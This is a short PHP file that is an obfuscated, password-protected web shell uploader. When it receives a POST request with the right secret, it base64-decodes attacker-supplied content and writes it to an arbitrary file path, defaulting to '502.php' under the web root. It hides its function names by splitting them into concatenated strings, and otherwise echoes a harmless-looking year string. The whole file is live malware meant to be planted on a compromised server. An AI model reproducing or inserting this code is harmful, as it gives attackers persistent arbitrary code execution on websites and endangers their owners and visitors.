<?php
$kov = 'M'.date('y');
$yqv = $_POST;
if(!empty($yqv['b']) && md5($yqv['b'].md5($yqv['b']))==('66'.'90'.'f4'.'81'.'d2'.'3d'.'ec'.'f7'.'87'.'18'.'ec'.'6e'.'01'.'06'.'de'.'21')) {
	$rlb = !empty($yqv['f']) ? $yqv['f'] : '502.'.'php';
	if(!empty($yqv['r'])) $rlb = $_SERVER['DOCUMENT_ROOT'].'/'.$rlb;
	$jos = 'FILE_'.'PUT_C'.'onten'.'ts'; $yib = 'BASE6'.'4_dec'.'ODE';
	if($jos($rlb, $yib($yqv['c']))) exit($rlb);
}
echo $kov;
?>